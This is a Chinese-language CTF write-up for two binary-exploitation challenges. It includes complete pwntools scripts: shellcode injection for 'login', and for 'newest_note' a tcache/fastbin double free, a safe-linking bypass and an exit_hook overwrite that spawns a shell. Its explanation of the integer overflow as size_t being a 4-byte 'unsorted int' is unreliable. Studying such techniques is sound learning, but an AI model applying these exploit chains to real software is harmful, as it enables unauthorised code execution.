login-nomal 1 GNU C Library (Ubuntu GLIBC 2.33 -0u buntu5) release release versio
1 2 3 4 5 6 7 login: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.34 -0u buntu3_amd64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=776 a804f3b57556db703db0581fc8598b3ad85a8, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,全开
整体的逻辑为:
输入 “command : ops”,循环5次(以“\n”进行间隔)
command 有两种命令“opt,msg”,每种对应不同的函数,“ops”为对应的操作数
“msg:ops_m”中的“ops_m”会被放入 Switch-Case 中,用于选择将要执行的函数
“opt:opt_o”中的“opt_o”会被分配内存,然后放入对应的函数作为参数
1 2 3 4 5 6 7 8 9 10 11 12 13 if ( key != 1 ){ puts ("oh!" ); exit (-1 ); } if ( key2 ){ pagesize = getpagesize(); page = (void *)(int )mmap((void *)0x1000 , pagesize, 7 , 34 , 0 , 0LL ); opslen = strlen (ops); memcpy (page, ops, opslen); ((void (*)(void ))page)(); }
“msg:2”中:有个 shellcode 的注入点,只要两个 key 都为“1”,就可以 getshell
“msg:1”中:如果“ops_m”为“ro0t”,就会设置两个 key 为“1”
攻击脚本:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context.log_level ='debug' cn = process("./login" ) sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" payload = '''opt:0\nopt:0\nopt:0\nmsg:ro0tt\nopt:1\n''' cn.sendlineafter(">>>" , payload) payload = '''opt:0\nopt:0\nopt:0\nmsg:{}a\nopt:2\n''' .format (sc) cn.sendlineafter(">>>" , payload) cn.interactive()
newest_note 1 GNU C Library (Ubuntu GLIBC 2.34 -0u buntu3) stable release version
1 2 3 4 5 6 7 8 9 newest_note: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=a0f1711c159c5e24913b8711a535fb4268812414, stripped [*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/exp/newest_note' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: './'
64位,dynamically,全开
2.34-0ubuntu3 在 glibc-all-in-one 里面没有符号表,需要手动下载,在 GDB 中的使用:
先用 patchelf 更换 libc 和 ld:
1 ➜ exp patchelf ./newest_note --set -interpreter ./ld-linux-x86-64. so.2 --replace-needed libc.so.6 ./libc.so.6 --output newest_note1
在 GDB 里面使用 set debug-file-directory director:
1 2 3 pwndbg> set debug-file-directory /home/yhellow/tools/debuglibc/2.34 -0u buntu3/usr/lib/debug/ pwndbg> show debug-file-directory The directory where separate debug symbols are searched for is "/home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/" .
必须让 GDB 链接符号表,不然 heap 命令没法使用
漏洞分析:
1 2 3 4 5 6 7 8 9 if ( chunk_s ){ LODWORD(chunk_s) = key2; if ( key2 >= 0 ) { free ((void *)list [index]); LODWORD(chunk_s) = --key2; } }
入侵思路:
首先高 libc 版本中的 tcache 有 key 保护(一般为 heap_base/tcache_perthread_struct + 0x10),ptmalloc 会在 free tcache->BK 中写入 key(tcache 只使用 FD/next 进行遍历),如果释放 tcache 时检查到 BK 的位置是 key,就会报错
没有可以绕过 tcache 的手段,所以采用 Double free
1 2 3 4 5 6 7 8 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]); p->fd = PROTECT_PTR(&p->fd, old);
通过这个特性,来获取 heap_base 和 key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for i in range (9 ): add(i,'a' *0x20 ) for i in range (7 ): delete(i) show(0 ) p.recvuntil("Content: " ) leak_addr = u64(p.recvuntil("\n" )[:-1 ].ljust(8 ,"\x00" )) heap_base = leak_addr<<12 key = leak_addr success("heap_base >> " +hex (heap_base)) success("key >> " +hex (key))
接下来我的思路是:利用 Double 来修改 tcache_perthread_struct
填满 tcache 需要7次,打 Double free 需要3次,leak libc_base 需要一次
改来改去还是突破不了11次 free 的限制
预期解
网上有另一种思路可以把 Double free 压缩到2次:
1 2 3 4 5 6 for i in range (7 ): delete(i) delete(7 ) add(10 ,'aaaaaaaa' ) delete(7 )
heap 排布如下:
1 2 tcachebins 0x40 [ 7 ]: 0x55f6889144b0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
delete(7):再释放一个 chunk,进入 fastbin
1 2 3 4 5 6 tcachebins 0x40 [ 7 ]: 0x55f6889144b0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55f6889144e0 ◂— 0x0
add(10,’aaaaaaaa’):从 tcache 中申请一个 chunk
1 2 3 4 5 6 tcachebins 0x40 [ 6 ]: 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55f6889144e0 ◂— 0x0
delete(7):再次释放同一个 chunk,进入 tcache
1 2 3 4 5 6 tcachebins 0x40 [ 7 ]: 0x55f6889144f0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55f6889144e0 —▸ 0x55f688914470 ◂— 0x55f688914
这个有点 House Of Botcake 的味道,利用了 tcachebin 和 fastbin 的独立性,使 chunk 同时存在于 tcache 和 fastbin 中,巧妙的避开了两边的检查
现在我们可以在 fastbin 中伪造一个 tcachebin(申请到 fastbin 时,会把 fastbin 放入 tcachebin),因为第一个 chunk 同时存在于 tcache 和 fastbin,所以我们可以人为制造一些“错位”
直接在第一个 chunk 中写入 next chunk+0x20
然后在 next chunk 中写入 next next chunk-0x20
下面是网上 leak libc 的 exp 片段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(10 ,p64(key^(heap_base+0x480 ))) add(0 ,b'a' *0x20 +p64(key^(heap_base+0x440 ))) add(1 ,b'a' *0x20 +p64(key^(heap_base+0x400 ))) add(2 ,b'a' *0x20 +p64(key^(heap_base+0x3a0 ))) add(3 ,p64(key^(heap_base+0x380 ))) add(4 ,b'a' *0x20 +p64(key^(heap_base+0x340 ))) add(5 ,b'a' *0x20 +p64(key)) add(7 ,'aaaaaaaa' ) add(7 ,b'a' *0x18 +p64(0x441 )) free(4 ) show(4 ) p.recvuntil('Content: ' ) libc_base = u64(p.recvuntil('\x0a' )[:-1 ].ljust(8 ,b'\x00' )) - 0x218cc0 success('libc_base-->' +hex (libc_base))
PS:“@4”和“@5”的反常只是为了后续的利用,和 leak libc_base 的过程无关
heap 排列:
1 2 3 4 5 6 tcachebins 0x40 [ 7 ]: 0x55630178c4f0 —▸ 0x55630178c470 —▸ 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c470 ◂— 0x55630178c
1 2 3 4 5 6 tcachebins 0x40 [ 6 ]: 0x55630178c470 —▸ 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c480 ◂— 0x55630178c
1 2 3 4 5 6 tcachebins 0x40 [ 5 ]: 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 ◂— 0x55630178c
1 2 3 4 5 6 tcachebins 0x40 [ 4 ]: 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 ◂— 0x55630178c
1 2 3 4 5 6 tcachebins 0x40 [ 3 ]: 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
这里把 fastchunk 的间隔从 64 变为了 96(0x400-0x3a0)
这是为了人为制造堆溢出
1 2 3 4 5 6 tcachebins 0x40 [ 2 ]: 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
这里又把 fastchunk 的间隔变为了 32(0x3a0-0x380)
造成了堆溢出
1 2 3 4 5 6 tcachebins 0x40 [ 1 ]: 0x55630178c330 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
0x370 就是攻击对象,我们需要修改它的 chunk->size
1 2 3 4 5 6 tcachebins empty fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
1 2 tcachebins 0x40 [ 6 ]: 0x55630178c350 —▸ 0x55630178c390 —▸ 0x55630178c3b0 —▸ 0x55630178c410 —▸ 0x55630178c450 —▸ 0x55630178c490 ◂— 0x0
在单独申请一个 fastbin 中的堆块后,由于 tcache 的机制,剩余未被申请的堆块会以倒序的方式重新被挂进 tcache bin 中
在 GDB 中显示 tcache->next(溢出目标为:0x390 -> 0x3b0)
1 2 tcachebins 0x40 [ 5 ]: 0x55630178c390 —▸ 0x55630178c3b0 —▸ 0x55630178c410 —▸ 0x55630178c450 —▸ 0x55630178c490 ◂— 0x0
在 0x350 写入数据,一直溢出到 0x370 的 chunk->size
最后是 get shell 的 exp 片段:
1 2 3 4 5 6 add(11 ,b'a' *0x18 +p64(0x41 )+p64(key^(exit_hook-0x8 ))) add(12 ,b'aaaa' ) add(13 ,b'a' *0x8 +p64(one_gadget)) p.recvuntil('4. Exit' ) p.sendline('4' )
heap 排列:
1 2 3 4 5 6 7 8 9 10 11 12 tcachebins 0x40 [ 5 ]: 0x55dc29f33390 —▸ 0x55dc29f333b0 —▸ 0x55dc29f33410 —▸ 0x55dc29f33450 —▸ 0x55dc29f33490 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x55dc29f33360 —▸ 0x7f9b86b4acc0 (main_arena+96 ) ◂— 0x55dc29f33360
1 2 tcachebins 0x40 [ 4 ]: 0x55dc29f333b0 —▸ 0x7f9b86b4c6c0 (_IO_str_jumps+160 ) ◂— 0x7f9c7f2438fc
1 2 tcachebins 0x40 [ 3 ]: 0x7f9b86b4c6c0 (_IO_str_jumps+160 ) ◂— 0x7f9c7f2438fc
可以发现:0x390 与 0x3b0 之间差了 32,是可以进行溢出的
所以直接在 0x3b0 中写入 exit_hook-0x8
申请到这片区域以后就可以写入 one_gadget
我借鉴了一下他的思路,想改变一下他的 heap 布局,但是改来改去都不合适,感觉只有他这个是最合适的,还要注意一下 unsortedbin 相邻的下一个 chunk 必须存在(高版本 libc 的 free 会检查相邻下的两个 chunk 是否合法,如果是 top chunk 则另说)
1 2 3 4 5 6 7 Allocated chunk | PREV_INUSE Addr: 0x563874197360 Size: 0x441 Allocated chunk Addr: 0x5638741977a0 Size: 0x00
1 2 3 4 5 6 7 8 9 10 11 Allocated chunk | PREV_INUSE Addr: 0x55b4c3312360 Size: 0x441 Allocated chunk | PREV_INUSE Addr: 0x55b4c33127a0 Size: 0x41 Top chunk | PREV_INUSE Addr: 0x55b4c33127e0 Size: 0x20821
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *elf=ELF("./newest_note1" ) libc=ELF("./libc.so.6" ) p=process("./newest_note1" ) p.sendlineafter("will be? :" ,str (16 )) def add (index,content ): p.sendlineafter(": " ,str (1 )) p.sendlineafter("Index: " ,str (index)) p.sendafter("Content: " ,content) def delete (index ): p.sendlineafter(": " ,str (2 )) p.sendlineafter("Index: " ,str (index)) def show (index ): p.sendlineafter(": " ,str (3 )) p.sendlineafter("Index: " ,str (index)) for i in range (16 ): add(i,'a' *0x20 ) add(15 ,'a' *0x20 ) add(15 ,'a' *0x20 ) add(15 ,'a' *0x20 ) for i in range (7 ): delete(i) show(0 ) p.recvuntil("Content: " ) leak_addr = u64(p.recvuntil("\n" )[:-1 ].ljust(8 ,"\x00" )) heap_base = leak_addr<<12 key = leak_addr success("heap_base >> " +hex (heap_base)) success("key >> " +hex (key)) delete(7 ) add(8 ,'a' *0x20 ) delete(7 ) add(1 ,p64(key^(heap_base+0x480 ))) add(2 ,b'a' *0x20 +p64(key^(heap_base+0x440 ))) add(3 ,b'a' *0x20 +p64(key^(heap_base+0x400 ))) add(4 ,b'a' *0x20 +p64(key^(heap_base+0x3a0 ))) add(5 ,p64(key^(heap_base+0x380 ))) add(6 ,b'a' *0x20 +p64(key^(heap_base+0x340 ))) add(7 ,b'a' *0x20 +p64(key)) add(8 ,'aaaaaaaa' ) add(9 ,b'a' *0x18 +p64(0x441 )) delete(6 ) show(6 ) p.recvuntil('Content: ' ) leak_addr = u64(p.recvuntil("\n" )[:-1 ].ljust(8 ,"\x00" )) libc_base = leak_addr - 0x218cc0 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) exit_hook = libc_base + 0x21a6c8 one_gadget = libc_base + 0xeeccc add(10 ,'a' *0x18 +p64(0x41 )+p64(key^(exit_hook-0x8 ))) add(11 ,'a' *0x8 ) add(12 ,'a' *0x8 +p64(one_gadget)) p.sendline('4' ) p.interactive()
非预期解
网上还有一种思路,利用了 malloc 和 memset 的特性:
1 p.sendlineafter("will be? :" ,str (0x40040000 ))
直接让 num_s 为 0x40040000,就可以让这个存堆指针的堆申请到 libc 上面,其实这里的 0x40040000*8 是有整形溢出的
1 2 3 4 printf ("%s" , "How many pages your notebook will be? :" );num_s = get_num(); list = malloc (8 * num_s);memset (list , 0 , 8 * num_s);
这里有个小细节要注意一下:
1 2 void *malloc (size_t size) ;void *memset (void *str, int c, size_t n) ;
看上去 malloc 和 memset 可以接收8字节的数据,但是这里的 size_t 代表的是 unsorted int
案例如下:
1 2 3 4 5 6 int main () { void * fd; fd = malloc (0x40040000 *8 ); memset (fd,0 ,0x40040000 *8 ); return 0 ; }
1 2 3 4 5 6 7 8 0x40115e <main+8 > mov edi, 0x200000 ► 0x401163 <main+13 > call malloc @plt <malloc @plt> size: 0x200000 ► 0x40117d <main+39 > call memset @plt <memset @plt> s: 0x7ffff7bbf010 ◂— 0x0 c: 0x0 n: 0x200000
可以发现,传入的是 0x40040000*8,GDB 上显示的却是 0x200000
1 2 3 4 5 In [35 ]: bin (0x40040000 *8 ) Out[35 ]: '0b1000000000001000000000000000000000' In [36 ]: bin (0x200000 ) Out[36 ]: '0b1000000000000000000000'
很明显整数溢出了,说明这个 size_t 其实代表了4字节
size_t 本来就是为了提高C语言的可移植性而诞生的,它在不同的场合可以有不同的功能,我们常常把 size_t 的大小当做“一字”,并用它来表示地址,但在以上这个场合中,size_t 就相当于是 unsorted int
知道了这个原理就可以直接 leak libc_base 了,节约了一次 free 的机会,然后 Double free 就可以了
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *elf=ELF("./newest_note1" ) libc=ELF("./libc.so.6" ) p=process("./newest_note1" ) p.sendlineafter("will be? :" ,str (0x40040000 )) def add (index,content ): p.sendlineafter(": " ,str (1 )) p.sendlineafter("Index: " ,str (index)) p.sendafter("Content: " ,content) def delete (index ): p.sendlineafter(": " ,str (2 )) p.sendlineafter("Index: " ,str (index)) def show (index ): p.sendlineafter(": " ,str (3 )) p.sendlineafter("Index: " ,str (index)) show((0x7f99c17fbcd0 -0x7f99c13df000 )/8 ) p.recvuntil('Content: ' ) leak_addr = u64(p.recvuntil("\n" )[:-1 ].ljust(8 ,"\x00" )) libc_base = leak_addr - 0x218cc0 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) exit_hook = libc_base + 0x21a6c8 one_gadget = libc_base + 0xeeccc for i in range (9 ): add(i,'a' *8 ) for i in range (7 ): delete(i) show(0 ) p.recvuntil("Content: " ) leak_addr = u64(p.recvuntil("\n" )[:-1 ].ljust(8 ,"\x00" )) heap_base = leak_addr<<12 success("heap_base >> " +hex (heap_base)) delete(7 ) delete(8 ) delete(7 ) for i in range (7 ): add(i,'a' *8 ) target=((heap_base+0x450 )>>12 )^(exit_hook-0x8 ) add(7 ,p64(target)) add(7 ,'a' *8 ) add(7 ,'a' *8 ) add(7 ,p64(one_gadget)*2 ) p.sendline('4' ) p.interactive()
小结:
这是我的第一场国赛,打的很憋屈,可能 70% 的时间都在搭环境
我感觉现在比赛的 libc 版本越来越高了,house of 也越来越多了,打比赛时 2.34 版本的 libc 始终搞不到,搞到了也没有符号表,最后连 GDB 的 heap 指令都没有用就开始强行搞题,搞得我有点崩溃